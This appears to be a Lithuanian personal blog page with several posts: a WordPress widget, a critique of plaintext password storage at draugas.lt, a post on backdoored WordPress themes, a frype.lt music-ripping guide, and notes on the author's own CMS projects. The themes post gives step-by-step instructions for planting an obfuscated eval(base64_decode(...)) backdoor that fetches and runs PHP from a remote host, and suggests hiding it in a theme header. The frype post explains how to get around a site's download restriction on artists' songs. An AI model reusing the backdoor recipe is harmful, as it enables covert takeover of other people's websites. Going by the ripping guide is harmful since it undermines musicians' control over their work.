Žudyk Internet Explorer — Mano Pirmasis WordPress Widget

Viena iš įdomesnių technologijų, kurias naudoju savo naująjame dizaine, yra Cufon — JavaScript biblioteka, kuri per HTML Canvas gali atvaizduoti šriftus, kurie nėra instaliuoti vartotojo kompiuteryje. Žinoma, viskas veikia puikiai visur, išskyrus sumautą Internet Explorer, kuris nuorodas Canvas erdvėje supranta kitaip, nei visos naršyklės. Cufon autoriams pavyko padaryti, kad nurodos veiktų, tačiau jos veikia prasčiau, nei kitose naršyklėse. Tai tik vienas pavyzdys labai aiškaus fakto — net ir pati naujausia Internet Explorer versija yra myliomis atsilikusi nuo kitų naršyklių. Internet Explorer stabdo viso interneto progresą nepalaikydamas HTML5, CSS 3 (ir net kai ko iš CSS 2) ir taip toliau. Alternatyvų yra, jos nemokamos, greitesnės, geresnės. Bet reikia dar šimtas aštuoniasdešimtseptiną kartą priminti IE vartotojams, kad jie turėtų migruoti į normalią naršyklę.

Todėl sukūriau šį paprastą WordPress widget „Žudyk Internet Explorer“.

Instaliacija

Parsisiųsk „Žudyk Internet Explorer“ (v1.0)

  1. Eik į WordPress administravimo pultą
  2. Plugins → Add New → Upload
  3. Įkelk šį .zip
  4. Aktyvuok plugin’ą
  5. Eik Appearance → Widgets
  6. Nutempk Žudyk Internet Explorer į norimą šoninę juostą (žinoma, tavo puslapio dizainas turi palaikyti Widgets funkciją)
  7. Widget’o nustatymuose pasirink savo mėgstamiausią naršyklę ir spausk Save
  8. Viskas! Internet Explorer vartotojai matys mygtuką, kuris kviečia juos pasikeisti naršyklę.

Mygtukai

Štai kaip atrodo tie mygtukai:

Mygtukų dydis 125px × 40px, tad jie turėtų puikiai tikti prie 125px × 125px skydelių. Beje, jei nori, mygtukus gali naudoti ir atskirai, nebūtinai su WordPress. Plugin’ui galioja GPL 2 licencija.

Demo

Gyvai veikiantį pluginą gali pamatyti mano puslapyje, atsidaręs jį su Internet Explorer (bet kuria versija).

Kodas

Internet Explorer atpažįstamas viena paprasta PHP eilute, kuri gali būti naudinga ne tik šiuo atveju:

1
if (preg_match('/MSIE/i',$_SERVER['HTTP_USER_AGENT'])) { /* Mato tik IE */ }

Kaip jums šis widget? Kas nors planuojate naudoti? Turite kokių nors pastebėjimų, kritikos ar keiksmų (IE pusėn)? Nuomonių laukiu komentaruose (:


Draugas.lt saugumo pažeidimai

Ilgai nerašiau, bet… pasiruošimas egzaminams, egzaminai ir vasara + inercija neberašyti. Apie viską vėliau, bet jau greitai.

Iš tiesų noriu parašyti apie vieną LABAI GRUBŲ saugumo pažeidimą draugas.lt puslapyje. Anksčiau jį gyriau lygindmas su one.lt, ir funkcionalumo, patogumo bei kainos aspektais jis tikrai lenkia vuonę. Bet šitas atradimas rodo, kad jie dėjo ant vartotojų ir nesirūpina jų saugumu. Tad kas gi čia tokio nutiko? Štai kokį laišką iš jų gavau:

Draugas2

Laiške prie visų kitų gėrybių buvo mano slaptažodis. Tiesiog užrašytas. Šiaip visos sistemos (net mano pačio programuotos) slaptažodį užkoduoja registracijos metu (prieš tai išsiunčia vienintelį laišką su dar neužkoduotu slaptažodiu) ir vėliau jo neįmanoma atkoduoti. Vartotojo prisijungimo metu jo įvestas slaptažodis užkoduojamas tuo pačiu metodu ir jei registracijos ir bei įvestojo slaptažodžio užkodavimo rezultatai sutampa, vadinasi, slaptažodis įvestas teisingai.

Tuo tarpu draugas.lt man atsiųsdamas tokį laišką aiškiai parodė, kad jie slaptažodžių nekoduoja. Tai yra GRUBUS saugumo pažeidimas. Štai kodėl:

  1. Draugas.lt administratoriai gali ramiai nueiti į duomenų bazę, pasiknaisioti po neužkoduotus vartotojų slaptažodžius, tuomet pabandyti, ar jie veikia. Dauguma žmonių visur naudoja tuo pačius slaptažodžius (aš pats naudoju vos kokius 5 skirtingus), taigi jie gali prisijungti prie daaaugybės elektroninio pašto dėžučių. Not fun at all!
  2. Jeigu kokiam nors hakeriui pavyktų įsilaužti į duomenų bazę, jam nereikėtų vargti dienas ar mėnesius siekiant iškoduoti slaptažodius — viskas jam būtų gražiai pateikta ant lėkštutės ir paruošta greitam vartojimui.
  3. Nesinori apie tai galvoti, bet… vartotojų duomenų pardavimai? Oh my.

Gali nebandyti iššifruoti tų sujauktų raidelių, aš jau pasikeičiau slaptažodį ir išsitryniau draugas.lt anketą. LABAI rekomenduoju tau daryti tą patį. Po anketos ištrynimo jie klausia priežasties — būtų puiku, jei į laukelį įrašytum nuorodą į šį straipsnį. Jie turi suprasti, atsiprašyti, užkoduoti slaptažodžius, pakeisti sistemą, o tada saugumo žinovai turėtų patikrinti, ar jie tikrai viską padarė, kaip buvo prašyti.

Kas blogiausia — aš nežinau, ar kai pasikeičiau slaptažodį, jie kur nors neišsisaugojo mano seno, o kai ištryniau anketą, nesu tikras, ar ji tikrai ištrinta. Juk šito nepatikrinsi neįlindęs į duomenų bazę.

Jei turite draugų, kurie užsiregistravę tame puslapyje, persiųskite jiems šitą įrašą.

Žodžiu. Labai, labai negerai, drauge.lt. Beje, šį tinklaraščio įrašą nusiųsiu draugas.lt administracijai, tikiuosi jie galės ką nors pakomentuoti.


Draugas.lt atsakė:

Susipazinom su jusu pastabomis. Deja turime pripazinti, kad jos visiskai
teisingos. Tiesos delei noretume pazymeti, kad per 8 darbo metus nebuvo,
nera ir tikrai nebus atveju, kad administruojantys zmones galetu nutekinti
informacija apie vartotoju slaptazodzius, nes su sia informacija dirba vos
pora laiko patikrintu, visiskai patikimu ir 100% kompanijai lojaliu
darbuotoju. Zinoma, visada islieka teorine isilauzimo i svetaine galimybe,
bet si saugumo klausima sekmingai sprendzia musu hostingo paslaugu tiekejai
(nei vienas is gausybes bandymu isilauzti i svetaine per minetus 8 metus
nebuvo sekmingas).

Neziurint i mano minimus argumentus mes imones viduje butinai svarstysime
jusu issakytas pastabas ir bandysime spresti jusu ivardintas problemas.
Tikimes supratimo, jog tai ne vienos dienos darbas, todel pilnam problemos
sprendimui konkretaus termino ivardinti nenoretume.

Dar karta dekojame uz teisingas pastabas ir labai pasistengsime pateisinti
gera savo imones varda.


WordPress temų hakeriai

Ne vieną kartą teko girdėti, o kartą ir pačiam išvysti, kaip atrodo hakerių nulaužtos WordPress temos. Šio straipsnio tikslas yra išmokyti jus atpažinti tokias pavojingas temas [šablonus, kaip kiti vadina], paaiškinti, kaip jos veikia, ir… šiek tiek pamokyti jus pačius nulaužinėti WordPress temas (aš pats to niekada nedariau ir tikrai (turbūt) nedarysiu, tačiau šis principas visai įdomus, taigi kodėl jo neišmokus? (: )

Kas tai?

Pirma, kas tai, kaip tai veikia ir kaip tai atpažįstama. Būdas, apie kurį kalbu (jų, žinoma, yra ne vienas), veikia taip:

  1. Laužėjas parsisiunčia populiariausias WordPress temas ir jas pakeičia, įterpdamas specialų PHP kodą (kodo pavyzdžiai bus žemiau).
  2. Jis sukuria kokį nors puslapį, kurioje talpina tas temas, neužsimindamas apie jokias modifikacijas. Tie puslapiai dažniausiai vadinasi “Best free WordPress themes” ar kažkas panašaus. Failai talpinami pačiame laužėjo serveryje, o temos autorius apie tokių puslapių egzistavimą dažniausiai nežino.
  3. Laužėjo puslapis greitai tampa populiarus, nes dažnas žmogus Googlyje ieško būtent tokių raktinių žodžių (best free wordpress themes).
  4. Žmonės parsisiunčia infekuotas temas, jas pradeda naudoti savo puslapiuose, laužėjo kodas pakraunamas kiekvieną kartą ir modifikuoja temą parsisiuntusio žmogaus svetainę jam nieko net nežinant (dažniausiai tiesiog įterpia daug nematomų nuorodų taip keldamas savo puslapių reitingą ir neretai žlugdydamas nekaltų žmonių puslapių vertę Google akyse)

Kaip tas kodas atrodo ir kaip jis atpažįstamas?

Dažniausiai kodas atrodo kaip visiška nesąmonė, raidžių košė, ir PHP nesuprantantys eiliniai vartotojai tiesiog bijo ką nors daryti, nes dar ką nors sugadintų… Ta makaliošė atrodo, pavyzdžiui, taip:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbGVrZXZpY2l1cy5sdC9oYWNrLnBocCIpKTs='));

Tai gana sudėtingas kodas, kuriame yra daug PHP kalbai specifinių dalykų, bet prieš gilinantis į konkretų veikimą, labai trumpai, ką šitas kodas iš tiesų padaro: jis iškoduoja šitą raizgalynę, ir paaiškėja, kad po ja slepiasi komanda parsiųsti nurodyto failo turinį ir jį įvykdyti. Tai yra failas laužėjo serveryje, ir bet koks to failo turinys yra įvykdomas nieko nežinančio žmogaus serveryje. Dar gerai, kai tas kodas tik prideda nuorodų… galėtų ištrinti ir visą WordPress sistemą…

Yra keli būdai kaip jį atpažinti ir išvengti visokių bėdų:

  1. Temas siųskis tik iš kūrėjo puslapio. Geriausia, jog tai būtų patikimas ir santykinai žinomas autorius, nes gali atsirasti tokių, kurie kurs naujas temas specialiai dėl piktų kėslų.
  2. Dėl viso pikto permesk akimis temų failus ir pasižiūrėk, ar nėra tokių raidžių raizgalų. Jei yra — jokiu būdu nenaudok tos temos.
  3. Ir trečias būdas — klausyk, ką dūzgia blogosfera, WordPress oficialus ir kiti su šia sistema susiję blogai. Taip apie pavojų būsi įspėtas gana anksti, manau (:

Kaip pačiam paslėpti piktąjį kodą?

Žinau, kad laukei šitos dalies (: Jai reikės šiek tiek žinių, o ypač daug PHP žinių reikės rašant patį savo kenkėjišką kodą (čia jau patarimų neduosiu).

Pirma, mums reikės interneto serverio. Dauguma jį turi. Toliau reikės interneto adreso. Šitą turi visi, kas turi serverį. Jeigu nori būti „profesionalus niekšas”, tuomet adresas turėtų būti kuo trumpesnis. Tarkim, qdrxv.us ar kažkas panašaus. Prasmės jam visai nereikia. Kai viską turi, įkelk savo kenkėjišką kodą į failą su labai trumpu pavadinimu (tarkim, h.p). PHP galūnė faile nebūtina, o pačiame faile neturi būti <?php ir ?> ženklų. Tarkime, tavo blogio failas http://qdrxv.us/h.p atrodo taip:

1
print "labas";

Pirma dalis padaryta. Dabar reikia šią komandą užkoduoti. Paleidę tokią PHP komandą

1
print base64_encode('@eval(@file_get_contents("http://qdrxv.us/h.p"));');

gauname mums labai reikalingą raizgalą. Tada tą raizgalą įstatome į šią vietą:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcWRyeHYudXMvaC5wIikpOw=='));

Šis kodas ir yra tas, kurį reikia paslėpti tarp temos failų. Geriausia dėti kur nors headeryje (: Siūlau pasibandyti, kokios yra tavo galimybės, kas veikia ir kas ne, bet pats principas toks. Laikas maniakiškui juokui: muahahahaha!


Laužiam frype.lt muzikos grotuvą!

Frype laužimo įrankis vėl veikia! Parsisiųsk dainas iš Frype labai greitai ir paprastai.

Atnaujinta: dabar konvertavimo procesą iš 3 etapų sutraukiau į vieną, be to, pakeliui išmoksit kaip iš bet ko padaryti MP3 tiesiog su VLC. Skaityk ir mokykis (:

Frype.lt kaip socialinis tinklas nelabai vykęs, tačiau ten savo muziką sukėlę nemažai Lietuvos atlikėjų, ypač tokių, kurie neišleidę savo albumų. Visai smagu paklausyti jų dainas, tačiau bėda ta, jog klausyti galima tik pačiame frype puslapyje. O ką man daryti, jei naująją ir labai gerai įvertintą Arbatos + Alinos Orlovos dainą “Aguona” noriu turėti savo iPhone? Belieka laužti frype muzikos grotuvą.

Apie moralinę ir teisinę pusę plačiai nekalbėsiu, nes man, tiesą sakant, nelabai rūpi. Visa šita koncepcija “gali klausyti, bet negali parsisiųsti” yra grynai techninis klausimas — juk įrašyti galima ir prikišus mikrofoną prie kolonėlių. Gal frype ir žada muzikantams, jog jų kūrinių niekas negalės parsisiųsti… tačiau aš noriu klausyti ne tik frype puslapyje, ir siekiu to savais būdais (:

Gana moralizavimo, pradedame Procesą:

  1. Susirandi norimą muzikantą ir eini į jo frype puslapį. Mūsų atveju tai Arbata, jų puslapį reikia susirasti per paiešką, nes arbata.frype.lt netinka. Eik “Nuo A iki Z”, suvesk Arbata ir rasi tikrąją nuorodą į http://muzika.frype.lt/music/musician.php?mid=12463.
  2. Pasižvalgai grotuve ir pasžiūri, kurios dainos reikia. O mums reikia antrosios dainos “Aguona”. Tuomet gali ją pasileisti, jog dirbti nebūtų taip tylu. Svarbiausias dalykas mums yra tie skaičiukai po mid=. Mūsų Arbatos atveju tai 12463. Čia muzikanto id. Valio, mes jau kažkur judame.
  3. Eini į magišką puslapį, kurį suradau belauždamas grotuvo flash actionscript kodą: rašai http://muzika.frype.lt/music/playlist.php?mid= ir pridedi savo muzikanto id. Mūsų atveju galutinė nuoroda yra http://muzika.frype.lt/music/playlist.php?mid=12463. Pakrovęs tą puslapį pamatysi daaaug daug neaiškių raidžių makalionės. Bet gerai įsižiūrėjęs tarp tos makalionės įžiūrėsi žodį Aguona. O, mes tikrai kažkur judame.
  4. Nukopijuoji visą gautą teksto šlamštą ir eini į dekodavimo puslapį. Į teksto laukelį įklijuoji visą nukopijuotą tekstą ir spaudi Decode. Gausi kažką panašaus, bet visos šlamštinės raidės pavirs nuorodomis.
  5. Visas turinys čia išdėliotas taip: ŠLAMŠTAS-pavadinimas-ŠLAMŠTAS-nuoroda-ŠLAMŠTAS. Mūsų trokštama daina yra antroji, jos pavadinimas pasimaišo antras, taigi ir nuoroda turi būti antra. Kopijuojame ją: http://vp3.frype.lt/music/63/12463/2008101519010714689.flv.
  6. Einame ten, kur ji sako, ir ją pakrovus turėtų prasidėti failiuko, kurio dydis yra apie 3,6MB, parsiuntimas. Tai ir yra tavo daina! Bet Procesas ties tuo nesibaigia.
  7. Pabandyk parsisiųstą failą pasileisti per VLC grotuvą. Jei viskas gerai, tai turėtum išgirsti savo norimą dainą. Jeigu nori, gali ir toliau jos klausyti iš šito FLV failo per VLC grotuvą. Aš norėjau ją turėti savo grotuve, taigi mūsų laukia dar vienas etapas: konvertavimas.
  8. Konvertuoti paprasčiausia per patį VLC grotuvą. Aš pasakosiu, kaip tą daryti Mac OS X versijoje, tačiau Windowsuose viskas (beveik) taip pat. Eini į File > Streaming / Exporting Wizard > Transcode / Save to File > Next > Playlist Item > Pažymi savo failą > Next > Transcode Audio >MP3 > Next > RAW > Next > Pažymi, kur išsaugoti, ir pavadini kaipnors.mp3 > Next > Palauki keliolika sekundžių, kol konvertuos. Tuomet jau turi MP3 failą, kurį jau galima dėti į grotuvą.
  9. Ir štai Procesas baigtas. Tu nusisiurbei iš frype grotuvo dainą. Sveikinu!

Suprantu, kad šis procesas netrumpas, ir pradžioje turėjau minčių padaryti automatizuotą puslapiuką nuorodai surasti, tačiau nusprendžiau, jog čia nėra nieko, ko bent šiek tiek kompiuterį naudojantis žmogus negalėtų padaryti. O ir išmoktų taip žmonės pakeliui daugiau. Taigi — laužkit ir klausykit (:


Mano Turinio Valdymo Sistemos

Disclaimer: Šitos TVS aka CMS yra parašytos ne php guru. Jos nėra absoliučiai saugios. Jokių garantijų neduodu. Šias sistemas rekomenduoju naudoti kaip edukacinę priemonę.

Kol kas esu suprogramavęs dvi turinio valdymo sistemas. Abi jos parašytos PHP kalba, abi informaciją saugo į txt failus.

WooCMS

Mano pirmoji ir vis dar galingiausia turinio valdymo sistema. Galimybės:

  • Turi administravimo skydelį (informacija atnaujinama grafine sąsaja)
  • Naudoja Textile tekstui apdoroti
  • Gražūs URL adresai, taigi beveik optimizuota paieškos sistemoms. (kažkodėl .htaccess failo zip’e nėra. Truputėlį tingiu jį ten įdėti. Bet iš esmės viskas veikia)
  • Labai paprasta, bet ne kvaila šablonų (išvaizdos) sistema.
  • Failų (uploads) tvarkyklė.

WooCMS gyvena čia. Kūrimas jau nutrauktas, nes ją turėtų pakeisti panašiai veikianti MySQL tipo sesė.

YoctoCMS

Turbūt pati mažiausia ir lengviausia TVS šioj planetoj, nes sunku būtų suprogramuoti sistemą, sveriančią mažiau nei 2,5 kilobaito. Absoliučiai paprasta, bet net turi šiek tiek funkcijų:

  • Gražūs URL (šį kartą .htaccess failas pridėtas)
  • Visas turinys tvarkomas tiesiog keičiant TXT failus
  • Dar gudresnė šablonų tvarkymo sistema
  • Automatinio sistemos atnaujinimo puslapis
  • Dvi versijos, iš kurių viena sistemą instaliuoja tiesiai iš internete esančių failų (taigi versija visada naujausia). Ta versija sveria mažiau nei 500 baitų

Šita CMS iš dalies yra tiesiog proof of concept, bet kartais būtent to ir tereikia. Visiškai smulkutės TVS, kuri sumaišytų turinį su išvaizda. YoctoCMS gyvena čia.

Jeigu kas nors neturi ką veikti ir nori jas išbandyti, komentarų visada mielai laukiu.



Mane rasi

TwitterTumblrFacebookBehanceLinkedInGoogle BuzzFlickrdeviantArtVimeoYouTube

Twitter

  • himno giedojimas V. Kudirkos aikštėje - trumpiausias (2 min?) masinis renginys, kuriame buvau (: 3 weeks ago
  • Beje, žinau, kad daug kas rodo live-stream'ą, štai lifehacker'io sąrašas: http://bit.ly/9sgq7M Tačiau VISI jie turi location restrictions. 1 month ago
  • Stebiu Danija vs. Olandija. 2010, ir niekas negali live-streaminti vaizdo internetu? Tenka tenkintis fifos text-sreamu. 1 month ago
  • SQLBuddy (http://www.sqlbuddy.com/) dėka galiu nebenaudoti PHPMyAdmin. Jei administruoji MySQL duombazes, būtinai išbandyk. Gėėėėris. 2 months ago
  • Smashing Magazine naujausiame įraše yra ir mano wallpaper'is: http://ow.ly/1FKRk Komentarai džiugina. 3 months ago

Flickr

IMG_0885IMG_0897IMG_0867IMG_0863IMG_0861IMG_0857